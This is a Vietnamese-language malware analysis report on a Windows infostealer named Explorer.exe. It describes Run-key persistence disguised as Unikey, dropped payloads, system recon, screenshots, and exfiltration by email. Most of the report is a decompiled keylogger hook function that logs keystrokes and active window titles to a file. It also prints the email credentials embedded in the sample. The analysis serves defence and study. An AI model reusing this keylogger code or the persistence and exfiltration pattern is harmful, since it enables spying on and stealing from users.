# Explorer.exe
## Tổng quan mã độc
Loại: `PE32`
Kích thước: `186 KB (190,464 bytes)`
MD5: `dabdca8db4420e0b0121b48130d2f4a6`
SHA1: `9135cd7cebefdb79ef6fc21d5fdea5b170689508`
Hành vi:
- Chạy ngầm và ẩn ứng dụng bằng
- Tạo thư mục cho mã độc bên trong thư mục appdata của hệ thống
- Persistence bằng việc tạo RegKey
- Drop file PE
- Drop DLL
- Recon máy, lấy thông tin CPU và các phần mềm được cài đặt trong máy
- Keylogger
- Screenshot
- Gửi mail chứa thông tin lấy được về cho hacker
## Phân tích chi tiết
### Mã độc ẩn chạy dưới nền

đoạn code này cho phép mã độc chạy mà không tạo ra bất kì cửa sổ nào.
### Mã độc tạo một thư mục hidden "Explorer" bên trong thư mục APPDATA của hệ thống

### Persistence, khởi động cùng hệ thống

Mã độc copy chính nó vào thư mục mà nó vừa tạo ở trong thư mục APPDATA, lưu tên thành `Unikey.exe`. Tạo registry tại `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` với tên là `Unikey NT` và giá trị là đường dẫn của file mà mã độc vừa copy vừa thư mục `$APPDATA\Explorer`. Mục đích để mã độc tự khởi động cùng hệ thống
### Mã độc drop PE file từ resource của file
Mã độc load resource sau đó tạo một file PE trong `$APPDATA\Explorer` có tên là `Transfer.exe`

### Mã độc thực hiện hành vi recon, lấy thông tin máy nạn nhân
Lấy thông tin vi xử lý:

Lấy thông tin danh sách phần mềm được cài đặt:

### Mã độc drop DLL file + thực hiện hành vi keylogger

drop file KeyLog.dll vào thư mục của mã độc, sử dụng hook để keylogger
```c
LRESULT __stdcall FillKeyboard(int nCode, WPARAM wParam, unsigned int lParam)
{
LPARAM v4; // esi
HWND ForegroundWindow; // esi
const char *v6; // [esp-Ch] [ebp-230h]
FILE *Stream; // [esp+4h] [ebp-220h] BYREF
struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-21Ch] BYREF
CHAR String[260]; // [esp+18h] [ebp-20Ch] BYREF
CHAR pszPath[260]; // [esp+11Ch] [ebp-108h] BYREF
if ( nCode < 0 )
return CallNextHookEx(hhk, nCode, wParam, lParam);
Stream = 0;
memset(pszPath, 0, sizeof(pszPath));
GetLocalTime(&SystemTime);
v4 = lParam;
if ( !nCode && lParam < 0x80000000 )
{
if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) < 0 )
return CallNextHookEx(hhk, 0, wParam, lParam);
strcat_s(pszPath, 0x104u, "\\Explorer");
CreateDirectoryA(pszPath, 0);
strcat_s(pszPath, 0x104u, "\\Log.txt");
dword_10015F78 = dword_10015F7C;
ForegroundWindow = GetForegroundWindow();
dword_10015F7C = (int)ForegroundWindow;
if ( (HWND)dword_10015F78 != ForegroundWindow )
{
memset(String, 0, sizeof(String));
GetWindowTextA(ForegroundWindow, String, 260);
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "\n------------------------%s------------------------ ", String);
fprintf(
Stream,
"%d-%d-%d %d:%d:%d\n",
SystemTime.wDay,
SystemTime.wMonth,
SystemTime.wYear,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);
fclose(Stream);
}
}
switch ( wParam )
{
case 1u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "LBUTTON";
goto LABEL_101;
}
break;
case 2u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "RBUTTON";
goto LABEL_101;
}
break;
case 3u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "CANCEL";
goto LABEL_101;
}
break;
case 4u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "MBUTTON";
goto LABEL_101;
}
break;
case 8u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "BACKSPACE";
goto LABEL_101;
}
break;
case 9u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "TAB";
goto LABEL_101;
}
break;
case 0xCu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "5 no NUMLOCK";
goto LABEL_101;
}
break;
case 0xDu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[%s]\n", "ENTER");
goto LABEL_102;
}
break;
case 0x10u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "SHIFT";
goto LABEL_101;
}
break;
case 0x11u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "CTRL";
goto LABEL_101;
}
break;
case 0x12u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "ALT";
goto LABEL_101;
}
break;
case 0x13u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "PAUSE";
goto LABEL_101;
}
break;
case 0x14u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "CapLock";
goto LABEL_101;
}
break;
case 0x1Bu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "ESC";
goto LABEL_101;
}
break;
case 0x20u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "SPACE";
goto LABEL_101;
}
break;
case 0x21u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "Page Up";
goto LABEL_101;
}
break;
case 0x22u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "Page Down";
goto LABEL_101;
}
break;
case 0x23u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "END";
goto LABEL_101;
}
break;
case 0x24u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "HOME";
goto LABEL_101;
}
break;
case 0x25u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "LEFT";
goto LABEL_101;
}
break;
case 0x26u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "UP";
goto LABEL_101;
}
break;
case 0x27u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "RIGHT";
goto LABEL_101;
}
break;
case 0x28u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "DOWN";
goto LABEL_101;
}
break;
case 0x2Cu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "Print Screen";
goto LABEL_101;
}
break;
case 0x2Du:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "Insert";
goto LABEL_101;
}
break;
case 0x2Eu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "Delete";
goto LABEL_101;
}
break;
case 0x6Au:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "*");
goto LABEL_64;
}
break;
case 0x6Bu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "+");
goto LABEL_64;
}
break;
case 0x6Du:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "-");
goto LABEL_64;
}
break;
case 0x6Eu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, ".");
goto LABEL_64;
}
break;
case 0x6Fu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "/");
goto LABEL_64;
}
break;
case 0x70u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F1]");
goto LABEL_64;
}
break;
case 0x71u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F2]");
goto LABEL_64;
}
break;
case 0x72u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F3]");
goto LABEL_64;
}
break;
case 0x73u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F4]");
goto LABEL_64;
}
break;
case 0x74u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F5]");
goto LABEL_64;
}
break;
case 0x75u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F6]");
goto LABEL_64;
}
break;
case 0x76u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F7]");
goto LABEL_64;
}
break;
case 0x77u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F8]");
goto LABEL_64;
}
break;
case 0x78u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F9]");
goto LABEL_64;
}
break;
case 0x79u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F10]");
goto LABEL_64;
}
break;
case 0x7Au:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F11]");
goto LABEL_64;
}
break;
case 0x7Bu:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[F12]");
LABEL_64:
fclose(Stream);
}
break;
case 0x90u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "NumLock";
goto LABEL_101;
}
break;
case 0x91u:
if ( !fopen_s(&Stream, pszPath, "a+") )
{
v6 = "ScrollLock";
LABEL_101:
fprintf(Stream, "[%s]", v6);
LABEL_102:
fclose(Stream);
}
break;
default:
break;
}
if ( wParam - 48 <= 9 && !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "%d", wParam - 48);
fclose(Stream);
}
if ( wParam - 65 <= 0x19 && !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "%c", wParam);
fclose(Stream);
}
if ( wParam - 96 <= 9 && !fopen_s(&Stream, pszPath, "a+") )
{
fprintf(Stream, "[%d with NUMLOCK]", wParam - 96);
fclose(Stream);
}
v4 = lParam;
}
return CallNextHookEx(hhk, nCode, wParam, v4);
}
```
log lại ứng dụng đang được active sử dụng keyboard và time
### chụp ảnh màn hình

lưu ảnh `screen.jpeg`
### Gửi email chứa thông tin đã thu thập được cho attacker

`MultiByteStr` là đường dẫn của file tranfer.exe mà mã độc đã drop. Đây là một file PE .net, tiến hành phân tích file này:

Sử dụng cred `anhthc95@gmail.com:123456789@A` gửi email đến `hunganh1803@gmail.com` chứa file log keylogger, ảnh chụp màn hình, systeminfo log.